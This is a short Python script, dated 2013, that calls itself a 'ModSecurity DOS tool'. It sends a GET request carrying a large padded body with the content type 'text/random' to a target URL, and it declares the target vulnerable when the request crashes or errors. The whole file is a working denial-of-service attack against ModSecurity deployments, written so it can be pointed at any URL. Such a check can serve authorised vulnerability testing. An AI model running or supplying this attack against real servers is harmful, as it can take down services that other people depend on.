#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
        
        payload = "A" * args_object.request_body_size * 1024
        
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
        
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
        
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv))